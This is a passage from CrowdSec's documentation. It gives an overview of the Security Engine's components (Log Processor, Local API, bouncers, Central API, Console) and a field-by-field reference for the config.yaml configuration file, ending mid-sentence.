Local API focuses on storing data and serving decisions. See the [multi-server setup guide](https://docs.crowdsec.net/u/user_guides/multiserver_setup.md) for a concrete deployment pattern. ### Log Processor (LP)[โ€‹](#log-processor-lp "Direct link to Log Processor (LP)") > The Log Processor is the part of the Security Engine in charge of detecting malicious behavior based on your logs and HTTP traffic. The Log Processor (abbreviated as `LP`) detects malicious behavior in two main ways: * It [acquires](https://docs.crowdsec.net/docs/next/log_processor/data_sources/intro.md) logs, [parses](https://docs.crowdsec.net/docs/next/log_processor/parsers/intro.md) and [enriches](https://docs.crowdsec.net/docs/next/log_processor/parsers/enricher.md) events, then matches them against [scenarios](https://docs.crowdsec.net/docs/next/log_processor/scenarios/intro.md). * It receives [HTTP requests](https://docs.crowdsec.net/docs/next/log_processor/data_sources/appsec.md) and matches them against [AppSec rules](https://docs.crowdsec.net/docs/next/appsec/intro.md). When a scenario or an AppSec rule is triggered, the Log Processor sends an alert to the `LAPI`. Related documentation: * Installation and updates of detection content: [Collections](https://docs.crowdsec.net/docs/next/log_processor/collections/intro.md), [Hub management](https://docs.crowdsec.net/docs/next/cscli/cscli_hub.md) * Add context to alerts (visible in `cscli`/Console): [Alert context](https://docs.crowdsec.net/docs/next/log_processor/alert_context/intro.md) * AppSec request inspection and compatible integrations: [AppSec](https://docs.crowdsec.net/docs/next/appsec/intro.md) ### Local API (LAPI)[โ€‹](#local-api-lapi "Direct link to Local API (LAPI)") > The Local API is the part of the Security Engine that stores alerts/decisions and acts as the middleman between Log Processors, Remediation Components, and the Central API. The Local API (abbreviated as `LAPI`) has several roles: * Receive alerts from Log Processors and (optionally) create decisions based on configured [profiles](https://docs.crowdsec.net/docs/next/local_api/profiles/intro.md). * Expose decisions to [Remediation Components](https://docs.crowdsec.net/u/bouncers/intro.md) so they can enforce them. * Interact with the Central API to share signals and receive community blocklists. For implementation details, see: * Local API configuration for distributed setups: [Local API configuration](https://docs.crowdsec.net/docs/next/local_api/configuration.md) * How bouncers consume decisions: [Bouncers API](https://docs.crowdsec.net/docs/next/local_api/bouncers.md) * Authentication methods: [Local API authentication](https://docs.crowdsec.net/docs/next/local_api/authentication.md) * Notifications: [Notification plugins](https://docs.crowdsec.net/docs/next/local_api/notification_plugins/intro.md) * Storage: [Databases](https://docs.crowdsec.net/docs/next/local_api/database.md) * Controlling exemptions: [AllowLists](https://docs.crowdsec.net/docs/next/local_api/centralized_allowlists.md) ## Glossary[โ€‹](#glossary "Direct link to Glossary") Quick definitions of terms used throughout the documentation and in tools like `cscli`: * **Collections**: bundles of parsers, scenarios, and other items installed together. See [Collections](https://docs.crowdsec.net/docs/next/log_processor/collections/intro.md) and [Hub management](https://docs.crowdsec.net/docs/next/cscli/cscli_hub.md). * **Scenarios**: behavior detections evaluated by the Log Processor. See [Scenarios](https://docs.crowdsec.net/docs/next/log_processor/scenarios/intro.md). * **AppSec rules**: WAF rules evaluated by the AppSec component. See [AppSec](https://docs.crowdsec.net/docs/next/appsec/intro.md). * **Alerts**: records created when a scenario/AppSec rule triggers; stored in the Local API. See [`cscli alerts`](https://docs.crowdsec.net/docs/next/cscli/cscli_alerts.md). * **Decisions**: remediation instructions (for example `ban`, sometimes other types depending on your setup) created by Local API [profiles](https://docs.crowdsec.net/docs/next/local_api/profiles/intro.md) or manually via `cscli`; consumed by bouncers. See [`cscli decisions`](https://docs.crowdsec.net/docs/next/cscli/cscli_decisions.md) and [Bouncers API](https://docs.crowdsec.net/docs/next/local_api/bouncers.md). ## Remediation Components (Bouncers)[โ€‹](#remediation-components-bouncers "Direct link to Remediation Components (Bouncers)") > The Remediation Components (also called `Bouncers`) are external components in charge of enforcing decisions. Remediation Components rely on the Local API to receive decisions about malicious IPs to be blocked *(or other remediation types such as CAPTCHA, supported by some bouncers).*
*Note that they also support [CrowdSec's Blocklist as a Service](https://docs.crowdsec.net/u/integrations/intro.md).* Those decisions can come from detections made by the `LP` or from blocklists. Remediation Components leverage existing parts of your infrastructure to block malicious IPs where it matters most (firewall, reverse proxy, web server, ...). You can find them on our [Remediation Components Hub](https://app.crowdsec.net/hub/remediation-components). ## Central API (CAPI)[โ€‹](#central-api-capi "Direct link to Central API (CAPI)") > The Central API (CAPI) serves as the gateway for network participants to connect and communicate with CrowdSec's network. The Central API (abbreviated as `CAPI`) receives attack signals from participating Security Engines and signal partners. It then redistributes curated community decisions (the [Community Blocklist](https://docs.crowdsec.net/docs/next/central_api/community_blocklist.md)). The Central API is also at the heart of CrowdSec centralized [blocklist services](https://docs.crowdsec.net/u/blocklists/intro.md). For details about what data is sent (and when), see the [Central API introduction](https://docs.crowdsec.net/docs/next/central_api/intro.md). If you want to disable sharing to the Central API, see [how to disable the Central API](https://docs.crowdsec.net/u/troubleshooting/security_engine.md#how-to-disable-the-central-api). ## Console[โ€‹](#console "Direct link to Console") > The CrowdSec Console is a web-based interface for reporting, alerting, and management across your CrowdSec products (from your fleet of Security Engines to CTI-related actions). The [Console](https://app.crowdsec.net) allows you to: * [Manage alerts](https://docs.crowdsec.net/u/console/alerts/intro.md) from your security stack. * [Manage decisions](https://docs.crowdsec.net/u/console/decisions/decisions_intro.md) in real time. * View and use [blocklists and integrations](https://docs.crowdsec.net/u/blocklists/intro.md). * Manage your API keys ([CTI API](https://docs.crowdsec.net/u/cti_api/intro.md), [Service API](https://docs.crowdsec.net/u/console/service_api/getting_started.md)). To connect an instance to the Console, see [Console enrollment](https://docs.crowdsec.net/u/getting_started/post_installation/console.md) and the `cscli` command reference: [`cscli console enroll`](https://docs.crowdsec.net/docs/next/cscli/cscli_console_enroll.md). ## Example: from a log line to a block[โ€‹](#example-from-a-log-line-to-a-block "Direct link to Example: from a log line to a block") This is a typical flow for a log-based scenario (for example, SSH brute-force): 1. **Install detection content**: you typically install a [collection](https://docs.crowdsec.net/docs/next/log_processor/collections/intro.md) from the Hub (parsers + scenarios) using `cscli` (see [Hub management](https://docs.crowdsec.net/docs/next/cscli/cscli_hub.md)). 2. **Acquire**: the Log Processor reads your service logs via an [acquisition configuration](https://docs.crowdsec.net/docs/next/log_processor/data_sources/intro.md) (for example, a file tail on `/var/log/auth.log`). 3. **Parse + enrich**: [parsers](https://docs.crowdsec.net/docs/next/log_processor/parsers/intro.md) extract fields (source IP, service, status, ...) and [enrichers](https://docs.crowdsec.net/docs/next/log_processor/parsers/enricher.md) add context (GeoIP/ASN, ...). 4. **Detect**: a [scenario](https://docs.crowdsec.net/docs/next/log_processor/scenarios/intro.md) correlates events over time (for example, many failed logins from the same IP) and triggers an **alert**. 5. **Store + decide**: the Log Processor sends the alert to the `LAPI`. The `LAPI` applies your [profiles](https://docs.crowdsec.net/docs/next/local_api/profiles/intro.md) to create a **decision** (for example, `ban` for a given duration). 6. **Enforce**: a [Remediation Component (bouncer)](https://docs.crowdsec.net/u/bouncers/intro.md) pulls decisions from the `LAPI` and enforces them where it matters (firewall, reverse proxy, web server, ...). --- # Crowdsec configuration CrowdSec has a main `yaml` configuration file, usually located in `/etc/crowdsec/config.yaml`. ## Configuration example[โ€‹](#configuration-example "Direct link to Configuration example") You can find the default configurations on our GitHub repository: [Linux default configuration](https://github.com/crowdsecurity/crowdsec/blob/master/config/config.yaml) [Windows default configuration](https://github.com/crowdsecurity/crowdsec/blob/master/config/config_win.yaml) ## Common configuration directories & paths[โ€‹](#common-configuration-directories--paths "Direct link to Common configuration directories & paths") ### `/etc/crowdsec/`[โ€‹](#etccrowdsec "Direct link to etccrowdsec") All CrowdSec configuration are living in this directory. ### `/etc/crowdsec/config.yaml`[โ€‹](#etccrowdsecconfigyaml "Direct link to etccrowdsecconfigyaml") Main configuration file for Log Processor and Local API. ### `/etc/crowdsec/acquis.d` and `/etc/crowdsec/acquis.yaml`[โ€‹](#etccrowdsecacquisd-and-etccrowdsecacquisyaml "Direct link to etccrowdsecacquisd-and-etccrowdsecacquisyaml") Documents which log sources and datasources are processed by the Log Processor. `/etc/crowdsec/acquis.yaml` is the historical acquisition configuration file. `/etc/crowdsec/acquis.d/*.yaml` is prefered when possible. ### `/etc/crowdsec/bouncers/*.yaml`[โ€‹](#etccrowdsecbouncersyaml "Direct link to etccrowdsecbouncersyaml") Individual configuration file for bouncers. ### `/etc/crowdsec/collections/*.yaml`[โ€‹](#etccrowdseccollectionsyaml "Direct link to etccrowdseccollectionsyaml") Collections currently installed on the Log Processor. ### `/etc/crowdsec/console.yaml`[โ€‹](#etccrowdsecconsoleyaml "Direct link to etccrowdsecconsoleyaml") Console specific flags: * enable/disable decisions management from the console * enable/disable sharing of manual decisions with the console * enable/disable sharing of custom/tainted scenarios related decisions with the console * enable/disable sharing of alert context data with the console. ### `/etc/crowdsec/contexts/*.yaml`[โ€‹](#etccrowdseccontextsyaml "Direct link to etccrowdseccontextsyaml") Enabled alert context for Local API and Log Processor. This is where you should add custom data to be sent in alert context. ### `/etc/crowdsec/hub/`[โ€‹](#etccrowdsechub "Direct link to etccrowdsechub") Local Hub Mirror. Not intended to be modified by the user. Do not put custom scenarios/parsers here. ### `/etc/crowdsec/local_api_credentials.yaml` and `/etc/crowdsec/online_api_credentials.yaml`[โ€‹](#etccrowdseclocal_api_credentialsyaml-and-etccrowdseconline_api_credentialsyaml "Direct link to etccrowdseclocal_api_credentialsyaml-and-etccrowdseconline_api_credentialsyaml") Credentials for Local API and Central API. ### `/etc/crowdsec/parsers`[โ€‹](#etccrowdsecparsers "Direct link to etccrowdsecparsers") Contains all parsers enabled on the Log Processor, including local parsers, organised in stages: * `/etc/crowdsec/parsers/s00-raw/*.yaml` : parsers for based formats such as syslog. * `/etc/crowdsec/parsers/s01-parse/*.yaml` : service specific parsers such as nginx or ssh. * `/etc/crowdsec/parsers/s02-enrich/*.yaml` : enrichment parsers and whitelists. ### `/etc/crowdsec/scenarios`[โ€‹](#etccrowdsecscenarios "Direct link to etccrowdsecscenarios") Contains all scenarios enabled on the Log Processor, including local scenarios. ### `/etc/crowdsec/profiles.yaml`[โ€‹](#etccrowdsecprofilesyaml "Direct link to etccrowdsecprofilesyaml") Contains profiles used by Local API to eventually turn alerts into decisions or dispatch them to notification plugins. ### `/etc/crowdsec/notifications/*.yaml`[โ€‹](#etccrowdsecnotificationsyaml "Direct link to etccrowdsecnotificationsyaml") Contains notification plugins configuration (slack, email, splunk, etc.) ### `/etc/crowdsec/appsec-configs/*.yaml`[โ€‹](#etccrowdsecappsec-configsyaml "Direct link to etccrowdsecappsec-configsyaml") Contains AppSec (WAF) configuration indicating which rules or loaded in `inband` and `outofband` files, as well as eventual `hooks` configuration. ### `/etc/crowdsec/appsec-rules/*.yaml`[โ€‹](#etccrowdsecappsec-rulesyaml "Direct link to etccrowdsecappsec-rulesyaml") Contains individual AppSec (WAF) rules loaded by `appsec-configs` files. ## Environment variables[โ€‹](#environment-variables "Direct link to Environment variables") It is possible to set configuration values based on environment variables. For example, if you don't want to store your database password in the configuration file, you can do this: YAMLCOPY ``` db_config: type: mysql user: database_user password: ${DB_PASSWORD} db_name: db_name host: 192.168.0.2 port: 3306 ``` And export the environment variable such as: SHCOPY ``` export DB_PASSWORD="" ``` warning **Note**: you need to be `root` or put the environment variable in `/etc/environment` If the variable is not defined, crowdsec >= 1.5.0 will leave the original string. This is to allow for literal `$` characters, especially in passwords: versions before 1.5.0 replaced a non-existent reference with an empty string which corrupted the password and made it harder to find configuration mistakes. ## Overriding values[โ€‹](#overriding-values "Direct link to Overriding values") If you change `config.yaml` and later upgrade crowdsec, the package system may ask if you want to replace the configuration with the version from the new package, or leave the file with your changes untouched. This is usually not a problem because new directives have default values, but they won't appear in your configuration file until you manually merge them in. On some OSes (like freebsd) the package system just writes a `config.yaml.sample` with the new values if there has been any change to `config.yaml`. It can also be easier, while automating deployments, to write local configuration changes to a separate file instead of parsing and rewriting `config.yaml`. For all these reasons, you can write your local settings in `config.yaml.local`, which follows the same format and has the same options as `config.yaml`. Values defined in `config.yaml.local` will take precedence. Mappings are merged, sequences are replaced. You can use the environment variable substitution, explained above, in both files. Example: /etc/crowdsec/config.yaml.local YAML/etc/crowdsec/config.yaml.localCOPY ``` common: log_level: debug api: server: trusted_ips: - 192.168.100.0/24 ``` info **Note:** you cannot remove configuration keys from a `.local` file, only change them (possibly with an empty or default value). So for example, removing `db_config.db_path` is not possible, even if you don't use it. And you cannot remove a whole mapping (like `api.server`). Sequences on the other hand, are always replaced. ### Configuration files that support `.yaml.local`:[โ€‹](#configuration-files-that-support-yamllocal "Direct link to configuration-files-that-support-yamllocal") * `config.yaml` * `local_api_credentials.yaml` * `simulation.yaml` * `bouncers/crowdsec-firewall-bouncer.yaml` * `bouncers/crowdsec-custom-bouncer.yaml` * `bouncers/crowdsec-blocklist-mirror.yaml` In the case of `profiles.yaml`, the files are read as a whole (as if they were attached) instead of merged. See [profiles - introduction](https://docs.crowdsec.net/docs/next/local_api/profiles/intro.md). ## Configuration directives[โ€‹](#configuration-directives "Direct link to Configuration directives") /etc/crowdsec/config.yaml YAML/etc/crowdsec/config.yamlCOPY ``` common: daemonize: "(true|false)" pid_dir: "" log_media: "(file|stdout|syslog)" log_level: "(error|info|debug|trace)" log_dir: "" working_dir: "" log_max_size: log_max_age: log_max_files: compress_logs: (true|false) log_format: "(text|json)" config_paths: config_dir: "" data_dir: "" simulation_path: "" hub_dir: "" index_path: "" notification_dir: "" plugin_dir: "" crowdsec_service: enable: ## enable or disable crowdsec agent acquisition_path: "" acquisition_dir: "" console_context_path: parser_routines: "" buckets_routines: "" output_routines: "" plugin_config: user: "" group: "" cscli: output: "(human|json|raw)" hub_branch: "" db_config: type: "" db_path: "" #Socket file mysql or mariadb user: "" # for mysql/pgsql password: "" # for mysql/pgsql db_name: "" # for mysql/pgsql host: "" # for mysql/pgsql port: "" # for mysql/pgsql sslmode: "" # for pgsql ssl_ca_cert: "" # for mysql/pgsql ssl_client_cert: "" # for mysql/pgsql ssl_client_key: "" # for mysql/pgsql use_wal: "true|false" # for sqlite max_open_conns: "" flush: max_items: "" max_age: "" metrics_max_age: "" bouncers_autodelete: cert: "" api_key: "" agents_autodelete: cert: "" login_password: "" api: cti: key: "" cache_timeout: "60m" cache_size: 50 enabled: "(true|false)" log_level: "(info|debug|trace)" client: insecure_skip_verify: "(true|false)" credentials_path: "" unregister_on_exit: "(true|false)" server: enable: # enable or disable local API log_level: "(error|info|debug|trace>")" listen_uri: "" # host:port profiles_path: "" use_forwarded_for_headers: "" console_path: online_client: sharing: "(true|false)" pull: community: "(true|false)" blocklists: "(true|false)" credentials_path: "" disable_remote_lapi_registration: (true|false) disable_usage_metrics_export: (true|false) capi_whitelists_path: "" tls: cert_file: "" key_file: "" client_verification: "NoClientCert|RequestClientCert|RequireAnyClientCert|VerifyClientCertIfGiven|RequireAndVerifyClientCert" ca_cert_path: "" agents_allowed_ou: # List of allowed Organisational Unit for the agents - agents_ou bouncers_allowed_ou: # List of allowed Organisational Unit for the bouncers - bouncers_ou crl_path: "" cache_expiration: "" trusted_ips: # IPs or IP ranges which should have admin API access #- 127.0.0.1 #- ::1 #- 10.0.0.0/24 auto_registration: enabled: token: allowed_ranges: - 10.0.0.0/24 prometheus: enabled: "(true|false)" level: "(full|aggregated)" listen_addr: "" listen_port: "" ``` ### `common`[โ€‹](#common "Direct link to common") YAMLCOPY ``` common: daemonize: "(true|false)" pid_dir: "" log_media: "(file|stdout|syslog)" log_level: "(error|info|debug|trace)" log_dir: "" working_dir: "" log_max_size: log_max_age: log_max_files: compress_logs: (true|false) log_format: "(text|json)" ``` #### `daemonize`[โ€‹](#daemonize "Direct link to daemonize") > bool Daemonize or not the crowdsec daemon. #### `pid_dir`[โ€‹](#pid_dir "Direct link to pid_dir") > string Folder to store PID file. #### `log_media`[โ€‹](#log_media "Direct link to log_media") > string Log output destination. Can be `stdout`, `file`, or `syslog`. #### `log_level`[โ€‹](#log_level "Direct link to log_level") > string Log level. Can be `error`, `info`, `debug`, `trace`. #### `log_folder`[โ€‹](#log_folder "Direct link to log_folder") > string Folder to write log file. warning Works only with `log_media = file`. #### `working_dir`[โ€‹](#working_dir "Direct link to working_dir") > string Current working directory. #### `log_max_size`[โ€‹](#log_max_size "Direct link to log_max_size") > int Maximum size in megabytes of the log file before it gets rotated. Defaults to 500 megabytes. #### `log_max_age`[โ€‹](#log_max_age "Direct link to log_max_age") > int Maximum number of days to retain old log files based on the timestamp encoded in their filename. Note that a day is defined as 24 hours and may not exactly correspond to calendar days due to daylight savings, leap seconds, etc. The default is to remove old log files after 28 days. #### `log_max_files`[โ€‹](#log_max_files "Direct link to log_max_files") > int Maximum number of old log files to retain. The default is to retain 3 old log files (though MaxAge may still cause them to get deleted.) #### `compress_logs`[โ€‹](#compress_logs "Direct link to compress_logs") > bool Whether to compress the log file after rotation or not. #### `log_format`[โ€‹](#log_format "Direct link to log_format") > string Format of crowdsec log. Can be `text` (default) or `json` ### `config_paths`[โ€‹](#config_paths "Direct link to config_paths") This section contains most paths to various sub configuration items. YAMLCOPY ``` config_paths: config_dir: "" data_dir: "" simulation_path: "" hub_dir: "" index_path: "" notification_dir: "" plugin_dir: "" pattern_dir: "" ``` #### `config_dir`[โ€‹](#config_dir "Direct link to config_dir") > string Main configuration directory of crowdsec. #### `data_dir`[โ€‹](#data_dir "Direct link to data_dir") > string This is where crowdsec is going to store data, such as files downloaded by scenarios, geolocalisation database, metabase configuration database, or even SQLite database. #### `simulation_path`[โ€‹](#simulation_path "Direct link to simulation_path") > string Path to the simulation configuration. #### `hub_dir`[โ€‹](#hub_dir "Direct link to hub_dir") > string Directory where `cscli` will store parsers, scenarios, collections and such. #### `index_path`[โ€‹](#index_path "Direct link to index_path") > string Path to the `.index.json` file downloaded by `cscli` to know the list of available configurations. #### `plugin_dir`[โ€‹](#plugin_dir "Direct link to plugin_dir") > string Path to directory where the plugin binaries/scripts are located. **Note:** binaries must be root-owned and non-world writable, and binaries/scripts must be named like `-` eg "notification-slack" #### `notification_dir`[โ€‹](#notification_dir "Direct link to notification_dir") > string Path to directory where configuration files for `notification` plugins are kept. Each notification plugin is expected to have its own configuration file. #### `pattern_dir`[โ€‹](#pattern_dir "Direct link to pattern_dir") > string Path to directory where pattern files are located. Can be omitted from configuration and CrowdSec will use the `config_dir` + `patterns/` as default. ### `crowdsec_service`[โ€‹](#crowdsec_service "Direct link to crowdsec_service") This section is only used by crowdsec agent. YAMLCOPY ``` crowdsec_service: enable: acquisition_path: "" acquisition_dir: "" console_context_path: parser_routines: "" buckets_routines: "" output_routines: "" ``` \####ย `enable` > bool Enable or disable the CrowdSec Agent (`true` by default). #### `parser_routines`[โ€‹](#parser_routines "Direct link to parser_routines") > int Number of dedicated goroutines for parsing files. #### `buckets_routines`[โ€‹](#buckets_routines "Direct link to buckets_routines") > int Number of dedicated goroutines for managing live buckets. #### `output_routines`[โ€‹](#output_routines "Direct link to output_routines") > int Number of dedicated goroutines for pushing data to local api. #### `console_context_path`[โ€‹](#console_context_path "Direct link to console_context_path") > string Path to the yaml file containing the context to send to the local API. #### `acquisition_path`[โ€‹](#acquisition_path "Direct link to acquisition_path") > string Path to the yaml file containing logs that needs to be read. #### `acquisition_dir`[โ€‹](#acquisition_dir "Direct link to acquisition_dir") > string (>1.0.7) Path to a directory where each yaml is considered as a acquisition configuration file containing logs that needs to be read. If both `acquisition_dir` and `acquisition_path` are specified, the entries are merged alltogether. ### `cscli`[โ€‹](#cscli "Direct link to cscli") This section is only used by `cscli`. YAMLCOPY ``` cscli: output: "(human|json|raw)" hub_branch: "" prometheus_uri: "" ``` #### `output`[โ€‹](#output "Direct link to output") > string The default output format (human, json or raw). #### `hub_branch`[โ€‹](#hub_branch "Direct link to hub_branch") > string The git branch on which `cscli` is going to fetch configurations. #### `prometheus_uri`[โ€‹](#prometheus_uri "Direct link to prometheus_uri") > uri (>1.0.7) An uri (without the trailing `/metrics`) that will be used by `cscli metrics` command, ie. `http://127.0.0.1:6060/` ### `plugin_config`[โ€‹](#plugin_config "Direct link to plugin_config") #### `user`[โ€‹](#user "Direct link to user") > string The owner of the plugin process. If set to an empty string, the plugin process will run as the same user as crowdsec. Both user and group must be either set or unset. #### `group`[โ€‹](#group "Direct link to group") > string The group of the plugin process. If set to an empty string, the plugin process will run in the same group as crowdsec. Both user and group must be either set or unset. ### `db_config`[โ€‹](#db_config "Direct link to db_config") The configuration of the database to use for the local API. YAMLCOPY ``` db_config: type: "" db_path: "" # database path for sqlite or socket file for mysql/pgx use_wal: "true|false" # for sqlite user: "" # for mysql/postgresql/pgx password: "" # for mysql/postgresql/pgx db_name: "" # for mysql/postgresql/pgx host: "" # for mysql/postgresql/pgx # must be omitted if using socket file port: "" # for mysql/postgresql/pgx # must be omitted if using socket file sslmode: "" # for postgresql/pgx ssl_ca_cert: "" # for mysql/pgsql ssl_client_cert: "" # for mysql/pgsql ssl_client_key: "" # for mysql/pgsql max_open_conns: "" decision_bulk_size: "" flush: max_items: "" max_age: "" metrics_max_age: "" bouncers_autodelete: cert: "" api_key: "" agents_autodelete: cert: "" login_password: "" ``` #### `type`[โ€‹](#type "Direct link to type") YAMLCOPY ``` db_config: type: sqlite ``` The `type`ย of database to use. It can be: * `sqlite` * `mysql` * `postgresql` * `pgx` #### `db_path`[โ€‹](#db_path "Direct link to db_path") YAMLCOPY ``` db_config: type: sqlite db_path: /var/lib/crowdsec/data/crowdsec.db --- db_config: type: mysql db_path: /var/run/mysqld/mysqld.sock --- db_config: type: pgx db_path: /var/run/postgresql/ #Folder that holds socket file. Socket MUST be the named `.s.PGSQL.5432` ``` The path to the database file (only if the type of database is `sqlite`) or path to socket file (only if the type of database is `mysql|pgx`) #### `user`[โ€‹](#user-1 "Direct link to user-1") YAMLCOPY ``` db_config: type: mysql|postgresql|pgx user: foo ``` The username to connect to the database (only if the type of database is `mysql` or `postgresql`) #### `password`[โ€‹](#password "Direct link to password") YAMLCOPY ``` db_config: type: mysql|postgresql|pgx password: foobar ``` The password to connect to the database (only if the type of database is `mysql` or `postgresql`) #### `db_name`[โ€‹](#db_name "Direct link to db_name") YAMLCOPY ``` db_config: type: mysql|postgresql|pgx db_name: crowdsec ``` The database name to connect to (only if the type of database is `mysql` or `postgresql`) #### `host`[โ€‹](#host "Direct link to host") YAMLCOPY ``` db_config: type: mysql|postgresql|pgx host: foo ``` The host to connect to (only if the type of database is `mysql` or `postgresql`). Must be omitted if using socket file. #### `port`[โ€‹](#port "Direct link to port") YAMLCOPY ``` db_config: type: mysql|postgresql|pgx port: 3306|5432|5432 ``` The port to connect to (only if the type of database is `mysql` or `postgresql`). Must be omitted if using socket file. #### `sslmode`[โ€‹](#sslmode "Direct link to sslmode") YAMLCOPY ``` db_config: type: postgresql sslmode: require ``` Require or disable ssl connection to database (only if the type of database is `mysql` or `postgresql` or `pgx`). See [PostgreSQL SSL modes](https://www.postgresql.org/docs/current/libpq-ssl.html#LIBPQ-SSL-SSLMODE-STATEMENTS) for possible values. See [MySQL SSL modes](https://dev.mysql.com/doc/refman/8.0/en/using-encrypted-connections.html) for possible values within the `Client-Side` configuration. #### `ssl_ca_cert`[โ€‹](#ssl_ca_cert "Direct link to ssl_ca_cert") YAMLCOPY ``` db_config: type: mysql|postgresql|pgx ssl_ca_cert: /path/to/ca.crt ``` Path to the CA certificate file (only if the type of database is `mysql` or `postgresql` or `pgx`) #### `ssl_client_cert`[โ€‹](#ssl_client_cert "Direct link to ssl_client_cert") YAMLCOPY ``` db_config: type: mysql|postgresql|pgx ssl_client_cert: /path/to/client.crt ``` Path to the client certificate file when using mTLS (only if the type of database is `mysql` or `postgresql` or `pgx`) #### `ssl_client_key`[โ€‹](#ssl_client_key "Direct link to ssl_client_key") YAMLCOPY ``` db_config: type: mysql|postgresql|pgx ssl_client_key: /path/to/client.key ``` Path to the client key file when using mTLS (only if the type of database is `mysql` or `postgresql` or `pgx`) #### `max_open_conns`[โ€‹](#max_open_conns "Direct link to max_open_conns") YAMLCOPY ``` db_config: type: mysql|postgresql|pgx|sqlite max_open_conns: 100 ``` Maximum number of open connections to the database. Defaults to 100. Set to 0 for unlimited connections. #### `decision_bulk_size`[โ€‹](#decision_bulk_size "Direct link to decision_bulk_size") YAMLCOPY ``` db_config: decision_bulk_size: 1000 ``` Maximum number of decisions inserted or updated in a single query. Added in v1.5.3. This can affect the responsiveness of the system. If you use big blocklists on devices like raspberry or similar appliances with slow disks, you can raise this up to 2000. Higher values will still be interpreted as 2000 due to query size limits. #### `use_wal`[โ€‹](#use_wal "Direct link to use_wal") YAMLCOPY ``` db_config: type: sqlite use_wal: true ``` [SQLite Write-Ahead Logging](https://www.sqlite.org/wal.html) is an option allowing more concurrency in SQLite that will improve performances in most scenarios. When WAL is unspecified you will see the following warning message at startup : > You are using sqlite without WAL, this can have an impact of performance. If you do not store the database in a network share, set db\_config.use\_wal to true. Set explicitly to false to disable this warning. #### `flush`[โ€‹](#flush "Direct link to flush") YAMLCOPY ``` flush: max_items: max_age: metrics_max_age: bouncers_autodelete: cert: "" api_key: "" agents_autodelete: cert: "" login_password: "" ``` #### `max_items`[โ€‹](#max_items "Direct link to max_items") > int Number max of alerts in database. #### `max_age`[โ€‹](#max_age "Direct link to max_age") > string Alerts retention time. Supported units: * `s`: seconds * `m`: minutes * `h`: hours * `d`: days #### `metrics_max_age`[โ€‹](#metrics_max_age "Direct link to metrics_max_age") > string Usage metrics retention time. Supported units: * `s`: seconds * `m`: minutes * `h`: hours * `d`: days #### `bouncers_autodelete`[โ€‹](#bouncers_autodelete "Direct link to bouncers_autodelete") ##### `cert`[โ€‹](#cert "Direct link to cert") Bouncers authenticated using TLS certificate will be deleted after `duration` without any requests. Supported units are the same as for `max_age` ##### `api_key`[โ€‹](#api_key "Direct link to api_key") Bouncers authenticated using API key auth will be deleted after `duration` without any requests. Supported units are the same as for `max_age` #### `agents_autodelete`[โ€‹](#agents_autodelete "Direct link to agents_autodelete") ##### `cert`[โ€‹](#cert-1 "Direct link to cert-1") Agents authenticated using TLS certificate will be deleted after `duration` without any requests and if there is no active alerts for them. Supported units are the same as for `max_age` ##### `login_password`[โ€‹](#login_password "Direct link to login_password") Agents authenticated using login/password will be deleted after `duration` without any requests and if there is no active alerts for them. Supported units are the same as for `max_age` ### `api`[โ€‹](#api "Direct link to api") The api section is used by both `cscli`, `crowdsec` and the local API. YAMLCOPY ``` api: cti: key: "" cache_timeout: "60m" cache_size: 50 enabled: "(true|false)" log_level: "(info|debug|trace)" client: insecure_skip_verify: "(true|false)" credentials_path: "" unregister_on_exit: "(true|false)" server: enable: log_level: "(error|info|debug|trace>" listen_uri: "" # host:port profiles_path: "" use_forwarded_for_headers: "(true|false)" console_path: online_client: sharing: "(true|false)" pull: community: "(true|false)" blocklists: "(true|false)" credentials_path: "" disable_remote_lapi_registration: (true|false) capi_whitelists_path: "" tls: cert_file: "" key_file: "" client_verification: "NoClientCert|RequestClientCert|RequireAnyClientCert|VerifyClientCertIfGiven|RequireAndVerifyClientCert" ca_cert_path: "" agents_allowed_ou: # List of allowed Organisational Unit for the agents - agents_ou bouncers_allowed_ou: # List of allowed Organisational Unit for the bouncers - bouncers_ou crl_path: "" cache_expiration: "" auto_registration: enabled: token: allowed_ranges: - 10.0.0.0/24 ``` #### `cti`[โ€‹](#cti "Direct link to cti") The cti subsection is used by `crowdsec` and `cscli` to query the CrowdSec CTI. YAMLCOPY ``` cti: key: "" cache_timeout: "60m" cache_size: 50 enabled: "(true|false)" log_level: "(info|debug|trace)" ``` ##### `key`[โ€‹](#key "Direct link to key") > string The API key to use to query the CTI. This key is generated via [console](https://app.crowdsec.net/) ##### `cache_timeout`[โ€‹](#cache_timeout "Direct link to cache_timeout") > string The duration to cache the CTI API response. Supported units: * `s`: seconds * `m`: minutes * `h`: hours * `d`: days ##### `cache_size`[โ€‹](#cache_size "Direct link to cache_size") > int The number of CTI API responses to cache. ##### `enabled`[โ€‹](#enabled "Direct link to enabled") > bool Whether to enable the CTI integration. ##### `log_level`[โ€‹](#log_level-1 "Direct link to log_level-1") > string The log level for the CTI integration. #### `client`[โ€‹](#client "Direct link to client") The client subsection is used by `crowdsec` and `cscli` to read and write decisions to the local API. YAMLCOPY ``` client: insecure_skip_verify: "(true|false)" credentials_path: "" unregister_on_exit: "(true|false)" ``` ##### `insecure_skip_verify`[โ€‹](#insecure_skip_verify "Direct link to insecure_skip_verify") > bool Allows the use of https with self-signed certificates. ##### `credentials_path`[โ€‹](#credentials_path "Direct link to credentials_path") > string Path to the credential files (contains API url + login/password). ##### `unregister_on_exit`[โ€‹](#unregister_on_exit "Direct link to unregister_on_exit") > bool If set to `true`, the log processor will remove delete itself from LAPI when stopping. Intended for use in dynamic environment such as Kubernetes. #### `server`[โ€‹](#server "Direct link to server") The `server` subsection is the local API configuration. YAMLCOPY ``` server: enable: log_level: (error|info|debug|trace) listen_uri: # host:port profiles_path: use_forwarded_for_headers: (true|false) trusted_ips: # IPs or IP ranges which should have admin API access #- 127.0.0.1 #- ::1 #- 10.0.0.0/24 console_path: online_client: sharing: "(true|false)" pull: community: "(true|false)" blocklists: "(true|false)" credentials_path: disable_remote_lapi_registration: (true|false) disable_usage_metrics_export: (true|false) capi_whitelists_path: "" tls: cert_file: key_file: client_verification: "NoClientCert|RequestClientCert|RequireAnyClientCert|VerifyClientCertIfGiven|RequestAndVerifyClientCert" ca_cert_path: "" agents_allowed_ou: # List of allowed Organisational Unit for the agents - agents_ou bouncers_allowed_ou: # List of allowed Organisational Unit for the bouncers - bouncers_ou crl_path: "" cache_expiration: "" auto_registration: enabled: token: allowed_ranges: - 10.0.0.0/24 ``` ##### `enable`[โ€‹](#enable "Direct link to enable") > bool Enable or disable the CrowdSec Local API (`true` by default). ##### `listen_uri`[โ€‹](#listen_uri "Direct link to listen_uri") > string Address and port listen configuration, the form 